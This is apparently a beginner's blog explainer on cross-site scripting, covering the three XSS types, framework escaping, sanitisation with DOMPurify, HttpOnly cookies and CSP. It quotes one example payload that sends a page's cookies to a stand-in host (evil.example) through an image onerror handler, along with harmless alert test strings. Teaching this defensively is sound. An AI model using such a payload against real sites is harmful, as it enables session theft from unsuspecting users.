What Is XSS? Cross-Site Scripting Explained for Beginners
Cross-site scripting lets an attacker run their JavaScript in your users' browsers — stealing sessions, changing pages, acting as the user. How XSS works, the three types, why React mostly protects you, the escape hatches that don't, and the defences that matter.
Cross-site scripting — XSS — is one of the most common security holes on the web. It happens when your app displays something a user wrote, and that "something" turns out to be code that runs in other people's browsers.
How it works
Your app lets users write a profile bio. Another user views it. The app puts the bio into the page:
bioElement.innerHTML = user.bio
A normal bio is harmless. But an attacker sets their bio to:
<img src="x" onerror="fetch('https://evil.example/steal?c=' + document.cookie)">
The browser tries to load an image from x, fails, and runs the onerror code — in the page of every person who views that profile, with that person's access. The attacker's script can:
- Steal session tokens stored where JavaScript can read them, and log in as the victim.
- Act as the user — change their email, send messages, make purchases — by making requests from their browser.
- Rewrite the page — show a fake login form, change a bank account number.
- Read anything on the page, including personal data.
The key problem: the app treated user input as HTML/code instead of as text.
The three types
- Stored XSS — the malicious input is saved (in a bio, comment, product review) and served to everyone who views it. The most damaging.
- Reflected XSS — the input comes from the URL and is shown straight back: a search page that displays "Results for: [your search]." An attacker sends a victim a crafted link.
- DOM-based XSS — the front-end JavaScript itself takes something from the URL or elsewhere and puts it into the page unsafely.
The fix: treat input as text
The core rule is escaping (also called encoding): when displaying user content, convert characters like < and > into their harmless text forms (< and >), so the browser shows them instead of running them.
bioElement.textContent = user.bio // ✅ shown as text, never run
bioElement.innerHTML = user.bio // ❌ parsed as HTML
React (and friends) protect you — mostly
Modern frameworks escape by default. In React:
<p>{user.bio}</p> // ✅ React escapes it automatically
Vue, Svelte, Angular, and most server-side template engines do the same. That's why XSS is less common in modern apps. (What Is React?.)
But every framework has escape hatches, and AI-generated code uses them:
dangerouslySetInnerHTMLin React — the name is a warning. Common when displaying rich text, Markdown, or content from a CMS.v-htmlin Vue,{@html}in Svelte.innerHTML,outerHTML,document.write, andinsertAdjacentHTMLin plain JavaScript.- Links from users:
<a href={user.website}>— if the value isjavascript:alert(1), clicking runs code. Only allowhttp:andhttps:URLs. - Markdown rendering — many Markdown libraries allow raw HTML through by default.
If you need to display user-supplied HTML (rich text editors, Markdown), sanitize it first with a well-maintained library such as DOMPurify, which removes scripts and dangerous attributes while keeping safe formatting:
import DOMPurify from "dompurify"
<div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(post.html) }} />
Defences that limit the damage
HttpOnlycookies for sessions. A script can't read a cookie markedHttpOnly, so XSS can't simply steal the session. Tokens inlocalStorage, by contrast, are readable by any script on the page. (What Is a Cookie?.)- Content Security Policy (CSP). A response header telling the browser which scripts are allowed to run. A strong CSP blocks inline scripts and scripts from unknown domains, stopping many XSS attacks even if a hole exists. (Content Security Policy.)
- Validate input on the server — a username doesn't need
<or>. (Form Validation Explained.) - Keep dependencies updated — rich text editors and Markdown libraries occasionally have XSS fixes. (How to Update Dependencies Safely.)
How to check your app
- Search the code for
dangerouslySetInnerHTML,innerHTML,v-html,{@html},document.write, andinsertAdjacentHTML. Each one needs a reason and sanitization. - Check user-provided links are limited to
http/https. - Test it. In every field that's displayed to others — name, bio, comment, product title — enter:
If an alert box pops up anywhere, you've found XSS.<img src=x onerror=alert(1)> - Check where session tokens are stored.
Or ask your AI tool to do the audit:
Find every place user-provided content is rendered as HTML, every use of dangerouslySetInnerHTML or innerHTML, and every user-provided URL used in a link. For each, explain whether it's safe and fix the ones that aren't with DOMPurify or plain text rendering.
EasySpawn runs your app on your own domain over HTTPS, with a real server where you control response headers like Content-Security-Policy — so XSS defences can live where they're most effective. See how it works or join the waitlist.
Related: SQL Injection Explained · What Is a JWT? · A Security Checklist for Vibe-Coded Apps
Keep reading
What Is Rate Limiting? Protecting Your App From Too Many Requests
Rate limiting caps how many requests someone can make in a period. Why every public app needs it — for login forms, sign-ups, AI features, and APIs — how it works, what a 429 response means, where to add limits, and what to do when you hit someone else's.
What Is HTTPS? The Padlock, Explained for Beginners
HTTPS is why the browser shows a padlock instead of 'Not secure'. What it protects, what it doesn't, what a certificate is, why your app needs it before launch, and how to fix the common 'mixed content' and certificate errors.